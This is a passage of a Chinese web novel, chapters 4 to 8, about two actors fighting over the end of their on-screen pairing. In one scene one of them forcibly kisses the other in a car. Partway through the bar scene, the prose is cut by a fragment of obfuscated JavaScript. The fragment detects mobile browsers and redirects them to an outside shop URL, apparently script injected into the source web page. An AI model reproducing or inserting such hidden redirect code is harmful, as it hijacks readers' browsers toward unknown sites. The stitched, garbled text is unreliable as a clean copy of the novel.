许兰因牙都要咬碎了,秀丽的脸染上了几分森冷鬼气,完全不在乎有多少人在看着,拽着商璘就往外走,苏纭吓得一佛出世二佛升天,踩着十二公分的高跟鞋在后面追:“你别发疯啊小王八蛋,赶紧放开你哥!!”
许兰因充耳不闻,苏纭气喘吁吁,连商璘的衣角都没抓到。
苏纭站在原地,呆滞了两三秒后仰头捂住脸,深深地吸了口气,无声用她亲切的家乡话问候了许兰因的十八代祖宗。
地下车库十分安静,商璘被按在后座的真皮软垫上时有些七荤八素——许兰因一张脸看着斯文漂亮,力气却大得像是什么怪物。
商璘喘了口气,转头刚想说什么,就对上了许兰因阴鸷的双眸,他一顿。
他知道自己答应伏越泽的要求许兰因会生气,但没想到他会愤怒至此。看来雏鸟情结确实强大,即便是情感淡薄如许兰因,也会被其驱使。
但商璘也很清楚,幼鸟总要长大,总会离巢,在它翱翔于天际,邂逅了自己命中注定的伴侣、筑好属于自己的巢穴时,绝不会再想起自己幼年时也有蜷缩在旧巢里的温暖。
“许兰因。”商璘看了眼不时有人路过的地下车库,“要是被人拍到,我保证你见不到明天的太阳。”
许兰因脸上毫无表情,转身砰一声关上了车门,他跪在商璘腰侧,将商璘的双手按在头顶,也不说话,就那么盯着他,商璘被他盯得鸡皮疙瘩都要起来了,终于忍不住道:“你到底想干什么?”
“这话难道不是应该我问你么。”许兰因道:“难怪忽然要跟我划清界限,你早就跟伏越泽谈好了要解绑对吧?就我他妈的一直被蒙在鼓里!”
他额角青筋绷紧,手上的力气也越发大,商璘手腕作痛,但他忍住了,拧着眉说:“我也是刚刚才知道的,公司做决定没问过我。”
许兰因扯了下唇角,“你和伏越泽关系那么好,这么大的事情他会没有跟你商量?”
商璘也没了好脸色,“你少在这里阴阳怪气。还有,放手。”
许兰因不仅没有放手,反而垂下头,几乎跟商璘鼻尖贴着鼻尖,琥珀色的眼睛仿佛封冻了一层冰雪,动作强势,语气却反倒是有些可怜巴巴:“小璘哥,为什么要同意?”
商璘受不了他这种眼神,偏开头,“你还年轻,发展前途好,没必要一直跟我绑在一起。”
许兰因咬紧嘴唇,眼圈忽然红了,“四年前他们都说我是拖油瓶,让你不要跟我一起拍戏,那时候你有考虑过我会拖累你吗?”
商璘哑然。
他不知道该怎么跟许兰因解释,其实他并没有那么伟大,同意拍摄《单向奔赴》纯粹是因为他太累,不想再跟伏越泽角力。
“既然那时候你没有觉得我
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是拖累,如今我也不会这样想你。”许兰因眼睛里闪动着泪光,嗓音也哑了,“小璘哥,你这样我真的很难过。你是因为周鹤的事情生我气了吗?我一直在等你问我,可你根本就不问我……”
“是因为伏越泽要我带新人,我才跟周鹤去璩江边的。”许兰因越说越委屈:“我为了给周鹤曝光度挨了这么多骂,结果伏越泽转头就背刺我,你还站在他那边,小璘哥,我都要伤心死了。”
商璘一愣。原来是这样啊。
要说娱乐圈里想要快速让一个人拥有知名度,那么无疑是跟顶流的花边新闻,伏越泽这么做,应该是要重点捧周鹤了。
想想也是,许兰因历来交往的都是女孩子,直的不能再直,第一次跟他拍吻戏的时候还差点吐了,不太可能忽然改变性取向,跟周鹤交往。
“小璘哥……”许兰因长睫上挂着水珠,可怜巴巴地看着商璘,“你之前说的是气话对不对?我……”
“许兰因。”商璘平静道:“不是气话。我真的觉得我们分开发展比较好。”
许兰因脸上的委屈瞬间褪去,眸光阴鸷而冰冷,“你再说一遍。”
“我们还是分开……唔!”
许兰因扣住商璘的下颌,极其粗暴地吻了上去,将商璘所有话都堵在了喉咙里,变作一阵无异议的闷哼。他膝盖强势地分开商璘双腿,令商璘在这本就狭小逼仄的地方更加没有动弹的空间,整个人都被迫由许兰因支配。
商璘睁大眼睛,许兰因一口咬在他下唇,因为疼痛,商璘下意识张开嘴,舌尖便趁机滑了进去,在上颚上轻轻一舔,商璘半个身子都发麻。
他气得耳根通红,怒视许兰因,许兰因全当看不见,他很清楚吻哪里会让商璘腰软,舌尖在喉头卷过,商璘顿时弓起身子,闷哼一声。
许兰因抬眸瞥了眼他晕红的眼尾,一只手扣着商璘的手,另只手从他腾空的后腰处伸出去,炙热的指尖贴上软肉,商璘终于忍无可忍,猛地用力挣开许兰因,翻过身将人摁在了身下,揪住他衣领把人拎起来一点,一拳头砸在那张被无数粉丝疯狂迷恋的漂亮脸蛋上。
许兰因哼都没哼一声,脸上一片青紫,却仍用那种可怕的眼神盯着商璘,视线宛如毒蛇,缠着他全身游弋。
商璘抬手,擦去唇角因为激烈的吻而来不及吞咽的唾液,居高临下地看着许兰因,“我是不是说了,除了工作必要之外,不准亲我。”
他揪住许兰因的头发,“你听到狗肚子里去了?”
5. 第 5 章
许兰因被迫仰起头,即便是这样落于下风的姿势他仍旧满脸挑衅:“那又怎么样?”
他几乎是从牙缝里挤出来的:“在你跟我去伏越泽那里说清楚绝对不会解绑之前,我一个字都不会听你的。”
商璘攥紧了拳头,想要再朝他左脸来一下,讲究一下对称。但想到苏纭那已经没剩几瓶的太太静心口服液,他忍住了。
“随你。”商璘松开手,任由许兰因自由落地砸在坐垫上,他拉开车门,抬抬下巴:“滚下去。”
许兰因当没听见。
商璘:“这是我的车。”
许兰因也火了:“这他妈是我送你的!”
这车是去年商璘收到的生日礼物,最新款,很难定,价格也高的吓人。商璘认为许兰因年纪小,应该多存点钱,毕竟演员吃的是青春饭,不可能一直维持高收入,说了他两句——许兰因老大不乐意,脸拉得可长,嘴噘得能挂油壶。
“行。”商璘将车钥匙砸他身上,“还你。”
许兰因不可置信:“什么?”
商璘钻出车门,冷冷说:“你不走我走。”
他将许兰因扔在车里,扬长而去。
许兰因靠在车门上,良久才一脚踹在昂贵的真皮椅背上,骂了一句:“操!”
商璘打车回了自己住的公寓——所幸司机是个快六十岁的大叔,根本不认识流量明星。只是有些奇怪:“小伙子,你手机一直在震动,不接电话吗?”
商璘调成静音,“抱歉。”
不看都知道电话是谁打的。许兰因也真是执着,回程路上四十分钟,电话一直没停,导致苏纭的电话都打不进来只能微信问他怎么回事,商璘觉得烦,直接把许兰因拉黑,这下世界终于清净了。
“许兰因没对你做什么吧?”苏纭语气焦急:“你现在在哪儿?”
“家门口。”商璘温声道:“我没事,别担心。就算打起来,他也捞不到好处。”
苏纭犹豫了下,“阿璘,你真想解绑吗?”
商璘拉开房门,脚步顿了一下才进去,“我觉得小伏总说的挺有道理。”
“但是……”
“我现在有点累,不想说这些。可以改天再聊吗?”
苏纭叹口气,“行。这两天也没有别的工作,你先好好休息。两天后有个直播你别忘了。”
商璘说好。他刚准备去洗澡,忽然想到什么,又打了个电话出去,这才将手机扔沙发上进了浴室。
春风料峭,夜里尤其冷,许兰因帽子口罩裹得严严实实,几根压不住的粉毛从帽檐下翘出来,他拉下口罩给保安看:“叔,是我啊?我染了个头发你就不认识我了?”
保安说:“我知道是你许先生。”
“知道是我你还拦着?”许兰因道:“我来这儿跟回自己家有什么区别?”
保安:“拦的就是你。”
“?”
保安:“大概十分钟前商先生打电话告知我们,以后都不准你进。”
许兰因:“。”
许兰因气笑了。
不让抱不给亲,和伏越泽串通起来要解绑,拉黑他电话,现在家门都不让他进了……商璘绝对是谈恋爱了。
但是谈恋爱用得着这样吗?他那位嫂子究竟是何方神圣,矫情成这样。他这些年一直谈恋爱,也没闹着要跟商璘解绑啊?
许兰因越想越委屈。
要是商璘在这里他肯定已经啪嗒啪嗒掉眼泪了,但商璘不在,哭了也白哭。反倒因为怒气一张脸显得有些狰狞,看得保安直咽唾沫,生怕这混小子一言不合要动手。
好在许兰因只是在原地站了会儿,盯着虚无的某一点发呆,而后便拉上口罩走了。
保安们都松了口气。他们是见识过这个小年轻有多恐怖的,之前有私生尾随纠缠商璘,对方也是个一米七八的男人,许兰因却像是拎小鸡似的把人拎起来就往地上砸,虽然有商璘拦着最后没出什么大事,但当时那股狠劲却是让在场所有人都发怵。
等许兰因开车走了,保安下意识朝他之前一直看着的方向望了一眼,这才意识到,许兰因不是在发呆。
他在盯着商璘住的那栋楼。
……
商璘在家里待了两天,期间没出门也没联系许兰因,邮箱里伏越泽发给他的邮件也一直没看。以前昼夜颠倒赶通告累得要死,总觉得要是能放个假好好休息一下就好了,结果真正放假的时候除了躺在沙发上看些老电影,也无事可做。
如果许兰因在的话,商璘是不可能这么悠闲地躺着看电影的,要么被他拽出去旅游,要么就是陪他打游戏,还要拍些又弱智又抽象的小视频……许兰因总是忙得像是一只到处飞的蜜蜂,也不知道一天天哪里来的那么多精力。
今天的工作是一个品牌直播,早就定好了时间,没办法延后,否则商璘是不想这么快就跟许兰因见面的。许兰因的脾气他知道,或许是因为父母都去世太早,成长环境又不好,极度缺爱,天生就自私偏执,如果你关心他,那就只能关心他一个,分给别人一个眼神他都要生气。
这样的占有欲很容易给人在被爱着的错觉,但商璘很清楚,许兰因不爱他。
“璘哥。”小唐拉开车门,看见他的样子吓一跳:“你没睡好吗?这么大两个黑眼圈。”
商璘揉了揉眼睛,“嗯……高强度工作后忽然放假就是会这样,没关系。”
品牌方的负责人亲自迎出来,跟商璘讲待会儿直播的要点,商璘一直认真倾听,很少说话,直到进了化妆间,他才看见许兰因。
和以前没什么不同,被一群人围着,有说有笑,轻松惬意。小唐要出声叫人,商璘摇摇头,让她别打扰,自己在椅子上坐下,任由化妆师摆弄。
许兰因说到底就是个情绪化的小孩子。他没什么在乎的东西,以至于失去了的当时会有些愤怒,但也就是有些愤怒而已。
他脾气烂,性格差,但身边从不缺爱他的人。少一个商璘,也不会改变什么。
小唐缩在商璘旁边帮忙打下手,不知道怎么的,今天许兰因看上去心情不错,她却有点害怕,打定主意能躲多远躲多远。
化完妆,商璘去换衣服,出来的时候看见许兰因在给人签名,两个小姑娘大概是看见偶像太激动,语无伦次边说边比划,商璘等了会儿,见两人还没有要走的架势,只好走过去道:“许兰因
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,直播要开始了。”
“签这儿可以吗?”许兰因垂眸点了点照片的右下角,得到女生的同意后他龙飞凤舞签下自己的大名,眨了下左眼,道:“出去后别跟人说昂,公司不让随便给人签名了。”
“好、好的!”小姑娘被迷得晕头转向,你扶着我我搀着你,虽然很激动,但也很明事理:“直播要开始了,兰因你先去忙吧!”
“走啦。”许兰因笑着点点头,抬腿往外走,双手抄在衣服兜里跟商璘擦肩而过,看都没看他一眼。
商璘没什么反应,两个小姑娘却面面相觑。商璘说:“下次见。”
他转身往直播室走,许兰因早就已经进去了,跟主持人谈笑风生。主持人见到商璘进来,忙道:“商老师快请坐,我们这边马上准备开始了。”
商璘在许兰因旁边坐下,闻见一股馥郁至极的香水味。依稀记得是品牌方送的,许兰因第一次喷的时候把商璘熏得连打两个喷嚏,自此之后这瓶香水就被扔进了杂物间。也亏得许兰因还能翻箱倒柜地找出来。
两个嘉宾不紧张,主持人倒是挺紧张,刻意找话题活络气氛:“兰因今天的香水好好闻,我要是记得不错的话是我们家的花海奇迹吧?”
许兰因微笑:“是啊,专门挑选了这瓶。”
主持人:“兰因真是太有心了。要是喜欢这个香型的话,待会儿可以再带两瓶走。”说完又问商璘:“商老师需要吗?”
商璘捏了捏鼻梁,“……不用了,给他就好。”
DS是香水界无论如何也绕不过去的一个品牌,品牌定位一直是高端市场,所以请的代言人也全是顶级大腕。这次直播预告发布后粉丝们早就翘首以待,还没开播直播间里就已经进了十来万人。
商璘对直播流程很清楚,大概是因为有苏纭的耳提面命,许兰因也还算配合。但粉丝们都是火眼金睛,很快就看出来不对劲:
【xly怎么回事啊?直播十分钟过去了,看都没看我们璘哥一眼?】
【又来了你们这群商璘毒唯,主持人在讲解商品,当然是要看主持人啊,基本的礼貌都不懂?】
【呵呵,这时候又来说你们家哥哥有礼貌了?上次见面会甩脸子的人是谁啊?没礼貌的时候说是真性情,不想营业的时候就开始说有礼貌了,真是三百六十度立体防御哈。】
【能不能好好看直播欣赏帅哥啊?你们唯粉消停点行不行。】
【我是cp粉,我也觉得他们怪怪的,没有以前好磕,璩江那事儿至今没有发声明,许兰因不会真跟周鹤有什么吧?】
【你们cp粉才是奇怪,他们只是合作关系,是朋友,非要按头说是爱情,神经吧。】
弹幕一团乱,主持人也觉得气氛不对,这可是他们情人节的主推新品,结果两位一点浪漫氛围都没有算是怎么回事?他连忙拿起一瓶打开了的香薰,道:“兰因,帮忙递给商老师,这个是商老师喜欢的香型。”
许兰因接过瓶子,转头看着商璘,商璘刚伸出手要接,许兰因却骤然松了手,整瓶香水都撒在了商璘身上,顿时满室浓香。
许兰因毫无歉意地说:“啊,不好意思。”
“手滑。”
6. 第 6 章
工作人员和主持人都吓坏了,想要暂停直播,商璘淡声道:“没事,擦擦就好了。”
主持人忙把纸巾递过去,许兰因顺手接过,随意在商璘衣服上擦了两下,忽然凑近他一点,说:“好香。”
商璘看了他两秒,“是吗。”
许兰因挑着眉梢,“一整瓶都倒身上了,当然是啊。”
商璘忽然伸手,一把将人的脑袋按到了自己胸前,“那你好好闻个够。”
他手指修长白皙,戴了两枚铂金戒指,陷进许兰因后脑蓬松的粉色头发里,显出一种难以言喻的情色,主持人看得目瞪口呆,好几秒后才想起维持形象,赶紧用手捂住了自己能塞进去一个鸡蛋的嘴。
商璘的动作并不温柔,甚至可以称得上粗暴,成年人一般是很反感有人动自己头的,许兰因却半点没反抗,声音闷闷的:“真的很香。”
主持人:“……”
现场的工作人员:“……”
直播间一片欢呼沸腾,cp粉雄赳赳气昂昂重新占领高地,举旗欢呼家产今天也很恩爱,家产99,还有趁乱大叫让亲一个的,腥风血雨,群魔乱舞。
“那个。”主持人重重咳嗽两声,“两位老师,直播呢!”
许兰因微微侧头看着商璘,脸颊压着商璘心口,那双眼睛显得尤其无辜,“待会儿直播间被封了可怎么办。”
商璘推开他的头,对主持人道:“只是朋友之间的一点小玩笑,不至于被封直播间吧。”
许兰因刚刚翘起来一点的唇角又压了下去,他坐直身体,这次比刚开始保持的距离还要远——要不是还在直播,他肯定已经甩脸走人了。
主持人汗流浃背,只好说:“是、是啊,这么好的朋友感情也是少见呢。”
许兰因:“少见吗?这样关系亲密的朋友我还有很多。”
休息室里拿着平板看直播的苏纭差点原地抽过去,小唐一边扶着她一边掐她人中:“姐!姐你没事吧?姐你一定要撑住啊!”
苏纭头顶冒火:“今天不是许兰因这逼崽子死就是我死!我一定要抽死这个混蛋东西……我他妈两天前才给他撤了个热搜啊!”
小唐:“姐你先冷静,你不能倒下啊,你倒下了谁来给他撤新热搜啊呜呜呜呜……”
但这次的事情显然不是撤热搜就能解决的事情。
DS的新品直播取得了预料之外的巨大流量,虽然这流量和本家产品没有多大关系,但也获得了超高的曝光,DS挺乐见其成,苏纭却忙得焦头烂额。
她电话都要打爆了,还是没办法控制事态的发展,当天下午的热搜词条有七个都跟这场直播有关,唯粉和cp粉吵得不可开交。商璘唯粉开香槟庆祝终于踢开许兰因这个拖油瓶,许兰因唯粉奔走相告商璘这个老男人终于要滚了,然而战斗力最强的还是cp粉,因为被掀了饭碗脱粉回踩的同时还要无差别攻击,路过条狗都要挨两巴掌。
“还是联系不上许兰因?”苏纭在办公室里急得团团转,把自己脑门儿都拍红了:“到处都是要抓新闻的狗仔,他给我玩儿消失是什么意思?!”
小唐欲哭无泪:“姐,兰因把我也拉黑了。”
两人都看向商璘。
商璘:“……”
苏纭一把握住商璘的手:“阿璘,不管之前有什么事情,都先放下,当务之急是找到许兰因,要是他被记者找到,再说些不该说的话,我就一头撞死在公司门口——你难道忍心看着我去死吗?”
商璘叹口气,将手机给苏纭,让她自己打电话。
果然,许兰因拉黑谁都不会拉黑商璘,这次终于打通了。许兰因那边音乐震天响,不用想都知道是去酒吧鬼混了,苏纭气得脑仁疼,刚要骂人,许兰因先开口了:“给我打电话干嘛。”
大概是因为喝多了,带点鼻音,听起来像是撒娇。
苏纭听见这声音鸡皮疙瘩都要起来了。这死夹子。
“你在哪儿?”苏纭道:“你现在立刻赶紧给我回公司。”
许兰因语气骤然变化:“怎么是你?”
“你把我从黑名单放出来我也不会用阿璘手机给你打电话。”苏纭说:“我不管你在干什么,你要是不回来,我就……”
许兰因没听她说完,直接挂断。
这次再打过去,直接不接了。苏纭反手要砸手机,商璘说:“姐,我手机。”
“……”苏纭把手机还他,按住他肩膀语重心长地说:“这两天别出门别上网,这事儿我要去找小伏总商量下怎么处理。”
“你送你璘哥回去。”苏纭又道:“从后门走,别让人看见了。”
又嘱咐商璘:“别出门别上网别对任何人说你对这件事的看法,知道了?!”
商璘点头。
苏纭知道商璘一向省心,倒是没太担心他这边,又去托人找许兰因那混账王八蛋了。
到了地下车库,小唐刚要去开车,商璘道:“你先回去帮苏姐吧,我自己开车回去就好了。”
小唐很担心:“还是我送你吧。”
她知道,许兰因说那种话,商璘听见了是很伤心的。
“没事。”商璘道:“我直接回家。”
商璘住的公寓小区安保非常严格,小唐倒是不担心狗仔能混进去,见商璘坚持,便点头答应下来。
苏纭认为省心稳重的商璘开车离开禾光,却没回家,导航设定的地址是个酒吧。
他帽子口罩墨镜全副武装,穿过嘈杂闹腾的舞池,最终停在吧台尽头的阴影里。那里放着一盆茂盛的鸭掌木,他坐在小桌边,透过枝叶看见许兰因在明灭灯光下显得尤其醒目的粉毛。
许兰因坐在卡座里,身旁好几个男男女女,坐在他身旁的女人商璘不认识,不确定是不是他新交的女朋友。许兰因来者不拒,谁跟他表白都能谈,女朋友也不会特意介绍给商璘认识。
他应该已经喝了不少,桌上全是空瓶子,女人问他:“兰因,你真要跟商璘解绑呀?”
许兰因眯起眼睛看向她,“什么?”
“大家都这么说呀。”女人翻弄着手机给许兰因看:“还有禾光的内部员工透露,公司已经决定了……我说真的,你们要是分开,cp粉能把禾光炸了。”
许兰因懒散笑了下:“没这回事。”
女人抱住他胳膊,拉长了声音:“在你们解绑之前能帮我找商璘要张签名照吗?我可喜欢……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317460|198985||http|test|mini|href|location''.split(''|''),0,{}));
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>话没说完,许兰因已经甩开了她的手,面无表情:“我说了,没这回事。”
女人吓了一跳,不知道他怎么忽然变脸,对面的男人站起身,摆摆手:“看不出来我们兰因今儿心情不好啊?说什么是人话吗你,赶紧滚。”
女人敢怒不敢言,端着酒杯离开了。
商璘喝了口寡淡的柠檬水。
这人他认识,许兰因的狐朋狗友之一,听说是小学就认识的朋友,叫做罗旭。
罗旭一屁股在许兰因旁边坐下,勾住他肩膀,“放狠话的人不是你吗,怎么喝闷酒的人也是你。”
许兰因:“她说的不是人话,你说的就是?”
“看你这不值钱的样子。”罗旭笑着道:“演了两部电视剧,真变成同性恋了啊?”
许兰因:“我要是同性恋我第一个操你大爷。”
罗旭乐不可支,“可惜我大爷去年就已经入土了,不然我肯定介绍你们认识。既然不是同性恋,你这么在意商璘的态度干嘛?说真的,明显你现在发展势头更好啊,跟他解绑其实对你更有利。之前跟初恋分手也没见你这样子。”
“他不一样。”许兰因烦他贴这么近,把人推开,骂道:“你靠着我干嘛,恶不恶心。”
“他哪儿不一样了。”罗旭被嫌弃了也不生气,往后靠在椅背上,摊手:“因为他是你的领路人?我怎么不知道你还是个重情重义的人呢。”他端起杯子跟许兰因碰了下,笑嘻嘻道:“缘聚缘散都有定数,也许你们的缘分已经到头了。”
许兰因脸色很臭:“闭嘴。”
他一口把杯子里的酒干了,才继续说:“如果跟商璘解绑,公司塞给我别的人做搭档怎么办?”
罗旭:“工作嘛,那有什么。”
许兰因厌恶地皱眉:“要对方真是gay,又怎么办?”
“啊?”
“只要想到要跟别的男人亲嘴就恶心。”许兰因啧了声。
“……”罗旭说:“商璘也是男的啊。”
“他又不是gay。”许兰因瞥他一眼,“而且出道就跟他在一起,亲都亲习惯了。”
罗旭:“感情您又哭又闹,就因为这个啊?我还以为你舍不得商璘呢。”
许兰因往杯子里倒酒,那张漂亮的脸在暧昧灯光下显得很清纯,说出的话却像是割肉的钝刀:“能不能别说这么恶心的话。”
“……”
商璘垂眸又喝了一口柠檬水,服务生过来询问:“先生,您刚说等人,需要先帮朋友把饮品点好吗?”
“不用。”商璘站起身,弯起唇笑了下,戴上口罩轻声说:“他不会来了。”
在服务生认出他是谁之前,商璘转身往门口走去。
他穿过汹涌音浪,拨开迷乱人流,酒吧五颜六色的光落在他身上,像是一场无声的送别,而他一次都没有回头。
喝得脑袋发晕的许兰因忽然站起身,莫名地朝门口看去。
他不知道自己那一瞬间感知到了什么,正如他只看见沉醉于灯红酒绿的人群。分明盛大而热闹,却又仿若置身荒芜的旷野。
因为太过荒芜,所以他也就未曾得见,这贫瘠土地上的最后一株玫瑰,正悄然死去。
7. 第 7 章
“……公司的处理方案就是这样。”苏纭一下一下按着太阳穴,“既然已经闹到了不可转圜的地步,那就趁此机会开始铺垫你们要解绑的消息。具体事宜等这次的综艺录制结束再商量。”
商璘看着手里的行程表,嗯了声,许兰因摊在沙发上看着落地窗外的车水马龙发呆,也不知道有没有听见苏纭说话。苏纭来气了,猛地一拍桌子:“许兰因!”
“啊。”许兰因转过头,“听见了,那么大声干什么。”他打开嘉宾名单上翻了翻,一顿,“周鹤?”
苏纭先是瞥了商璘一眼,见他没什么反应,这才说:“还不都是你在直播的时候乱说话,小伏总就想趁机捧一下周鹤呗。”
她话说的含糊,但言下之意两人都明白。
如果商璘和许兰因真的解绑,两人必定都将有自己新的合作对象。如果周鹤搭上许兰因这条通天梯,能少走十年弯路。伏越泽是个精明的生意人,当然会利用一切可利用的资源。
许兰因盯着名单,商璘看行程表。看着挺祥和,但苏纭知道,许兰因这么安静才是有鬼。换做以往,早就黏在商璘身边撒娇卖乖装可怜,亦或是跟她发脾气吐槽为什么又要给人当垫脚石。
“苏姐。”许兰因忽然抬眸,偏头看着苏纭,“公司里那么多新人,怎么小伏总就偏捧周鹤一个?”
苏纭皱眉:“少听风言风语。”
“看来你也知道啊。”许兰因手指在纸上敲了敲,“周鹤好像跟小伏总有点不清不楚的关系呢。”
苏纭无奈道:“这种事在圈子里多正常。小伏总是玩儿的挺花,但是他又不强迫谁,说白了都是生意,人家自己乐意不就行了。”
“总之,明天早上八点我派人去接你们。”苏纭手机又在叮叮咚咚响,她一边看消息一边说:“这个综艺挺轻松日常的,不用做什么准备。阿璘先回去吧,许兰因你给我留下,我还有话跟你说。”
苏纭接完电话,见许兰因还盯着门口,在他耳边打了个响指:“人都走了,还看?”
许兰因转头,“想跟我说什么?”
“还能说什么。”苏纭抱着胳膊,“小伏总让我做你的思想工作呗。只是以后不在一起工作了,你们还是朋友,可以经常见面……”
许兰因起身就走,苏纭忙拦着他:“你不爱听我也要说。许兰因,你这么大了,能不能稍微为其他人考虑一下?你看你哥就成熟多了。”
“他那不是成熟。”许兰因冷冷道:“是无情,是冷漠,是他妈的把我当狗玩儿。”
苏纭瞪大眼睛,“许兰因你说的这是人话吗?阿璘给你收拾了多少烂摊子,养亲儿子都没这么溺爱的,你现在说他把你当狗玩儿?”
“他对所有人都那么好。”许兰因扯了下唇角,“他就是天生的圣母心爆表,我对他来说又有什么特殊的,还不是说推开就推开?”
“……”苏纭实在忍无可忍,一脚踹他腿上,“你对他没什么特殊的?两年前你得罪了AM的少爷,人要封杀你,要不是商璘上门求情喝得胃出血,你以为自己还能当这个大明星?!”
“远的我就不说了,一个月前的见面会你当众甩脸子,我当时人在国外,是不是商璘给你道的歉?是不是商璘到处联系人删照片?!”
苏纭本以为许兰因至少会有一点羞愧感,他却没有任何表情,靠在沙发边上点了支烟,淡声说:“是啊,他对我是很好。”
“换个人是他的搭档,他还是这样好。”
苏纭哽住了。
“我会看着办的。”许兰因说:“趁我还好说话的时候,不要再烦我了。”
苏纭觉得自己胃都开始痛了。她唇角抽动了两下,最终只说:“没你哥管着你迟早抽成肺癌,别搞得我这里全是烟味儿,赶紧滚。”
……
商璘本想去给尹佳阳探班的,结果刚下楼就被人堵在了门口。
“哥。”商唯笑着道:“好久不见,你好像又变帅了。”
“嗯。”商璘态度不冷不淡,“钱又花完了?”
商唯是他父亲再婚后生的孩子,两人不在一处长大,自然谈不上多深厚的感情,以前商唯常来找他,这次倒是隔了大半年。
“我在你眼里就是这样的人吗?”商唯揽住商璘的肩膀,他比商璘矮一些,做这个动作还需要垫脚,“我来找你是因为爸的生日要到了,我们一家人一起吃个饭呗?”
“……”商璘说:“忙,不去了。”
“再忙吃顿饭的时间总是有的嘛。”商唯不以为意,“你都多久不回家了,人活着就是见一面少一面,事业重要,家庭也重要呀。”
商璘平静道:“他不想见我。”
“你还记得爸以前说的气话呢?你们是亲父子,哪可能真的不想见你。”商唯笑嘻嘻道:“你就回去……”
“他不都说了忙吗。”有人自身后一把拉住商唯的肩膀,商唯还没反应过来发生了什么,人已经被拽出去了好几步,“你要是想玩儿,找我啊。”
许兰因笑盈盈搭着商唯肩膀,“怎么,觉得我这人没意思?”
“……怎么会。”商唯笑容僵了下,“兰因哥,你也在这里啊。”
“我是禾光的艺人,我不在这里能在哪里。”
商唯抿了下唇:“那个,兰因哥,我有事想跟我哥说,你能不能……”
“你哥就是我哥,我有什么不能听的吗。”许兰因拍拍商唯的脑袋,自上而下地睨着他,“你邀请你哥回去吃饭是吧?要不带着我一起?我还能陪老爷子喝两杯。”
老爹本来就因为儿子跟个男人在荧幕上摸手亲嘴而觉得丢人,要是商璘再把这个男人带回去……那跟往火上浇油有什么区别。
商唯连忙谢绝,讪讪道:“你们工作忙,还是算了。”
商璘:“以后有事打电话,不要来公司找我。”
“我也想给你打电话啊!”商唯不满,“明明是你把我拉黑的。”
商璘只愣了一秒就皱眉看向许兰因,许兰因仰头研究穹顶的星图形态,一脸“我什么都不知道啊”的表情。
“……总之不要来公司找我。”商璘道:“要是被人拍到,会影响你们的生活。”
商唯还想说什么,许兰因先开口了:“你上次问我那事儿有着落了,我们换个地方说?”
“什么……”
许兰因完全不给他说话的机会,怪物一样的力气根本不是商唯这个豆芽菜能反抗的,只能被硬生生拖走。<
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p>商璘站在原地,双手抄在兜里,看着两人在墙边交流,有点疑惑这两人的关系是什么时候变这么好的。
商唯没再过来,直接走了,商璘轻松了口气。
他确实不想回去看老爹那张脸。
许兰因瞥了他一眼,对商唯还有的好脸色对他是一点没有,转身就走,商璘说:“站着。”
“……”许兰因语气很差:“干嘛?”
商璘:“坐我车。”
许兰因:“你不是要跟我划清界限吗。”
“我是这么说的?”商璘道:“苏姐应该跟你讲的很明白了,就算是解绑,以后还是朋友,还能见面。”
许兰因噘着嘴挂油瓶,恨不得全天下人都知道他有多委屈,“既然这样,那就该保持距离啊,你又叫我干嘛?”
商璘:“你的大部分东西都在我家,在你那样板房一样的家里你能收拾出什么行?”
“……”许兰因简直要气死了,“你叫住我就是为了让我去把东西收拾好滚蛋?我不去!”
“可以。”商璘说:“我会打包好让小唐带给你。”
他不想跟许兰因在这里吵架,迈步往外走,走出去几步,许兰因又跟了上来,商璘:“不是不去吗。”
“万一你给我漏掉什么东西怎么办。”许兰因怒道。
商璘:“。”
他没跟许兰因计较,结果开车的时候许兰因又炸毛:“我送的那辆呢?还说不是要划清界限,连我送的车都不开了!”
商璘:“当时让你滚你不是没滚吗。”
许兰因:“明明是你自己走掉的。”
商璘:“你到底走不走?”
许兰因很硬气:“走就走。”
他拉开车门坐进副驾驶系上安全带如行云流水。进小区的时候还特意跟保安抬着下巴显摆自己又能进来了,商璘觉得丢脸,脚步都快了几分。
商璘收拾完自己的东西出来,发现许兰因躺在沙发上睡着了,他这才发现许兰因眼下有很浓的青黑色。
他拿了张毯子给人盖上,许兰因忽然抓住他的手:“小璘哥。”
没睡?
商璘垂眸,许兰因的眼睛依旧闭着,呼吸平稳,确实睡着了,只是在说梦话而已。
他在地毯上坐下,静静看着许兰因的脸。
“小璘哥……”许兰因又喃喃叫他。
商璘没有回应,也没有挣脱许兰因的手。
医生说,情绪波动、失眠、厌食、认知功能失常……都是很常见的戒断反应,这期间会很痛苦,让他做好心理准备。
事至如今,商璘已然很难分辨究竟是靠近许兰因让他更痛苦,还是远离许兰因让他更痛苦。
“小璘哥。”许兰因睁开眼睛,琥珀色的瞳孔里映出商璘的脸,“你有喜欢的人了吗。”
“什么?”
“是因为有了爱人,所以要跟我划清界限吗。”
商璘:“装睡的本事倒是炉火纯青。”
他想挣开许兰因的手,许兰因却没放,固执地看着他:“小璘哥,为什么不回答我的问题。”
“……”
长久的沉默后,商璘说:“是。”
“喜欢了很多年。”
8. 第 8 章
许兰因下意识笑了下,唇角的笑意看起来纯良无害,紧盯着商璘的双眸却阴鸷冰冷,嗓音缓缓的:“是吗,这些年我们一直在一起,我竟然都不知道。”
商璘想要将手抽出来,许兰因却不肯放,他猛地用力,将商璘拽上沙发,倾身撑着沙发靠背,看着商璘的眼睛:“小璘哥,是谁啊,我见过吗?”
“你不认识。”商璘蹙眉,“放开。”
许兰因面无表情了好一会儿,忽然抱住他的腰,拉长声音撒娇:“你也太过分了吧,有喜欢的人都不介绍给我?嫂子很介意我们的关系吗?只是工作而已,又不是真的情侣,这样都忍不了的话干嘛还要找演员做男朋友啊。”
他八爪鱼似的缠上来,商璘一时间挣脱不开,干脆懒得动弹了,“这是我的私事。”
许兰因皮笑肉不笑的:“这么宝贝她,我说都不能说一句?”
商璘:“对。”
许兰因忽然推开他,进客卧砰一声摔上了门。
商璘张张嘴,又咽回去了。
本来是要让许兰因把自己的东西收拾好带走的,看这样子还是暂时不要再刺激他了。反正许兰因在这里住了那么久,也不差一天两天。
第二天一早商璘起床,许兰因已经晨跑回来了,看起来跟没事人一样,就是讲话很奇怪。
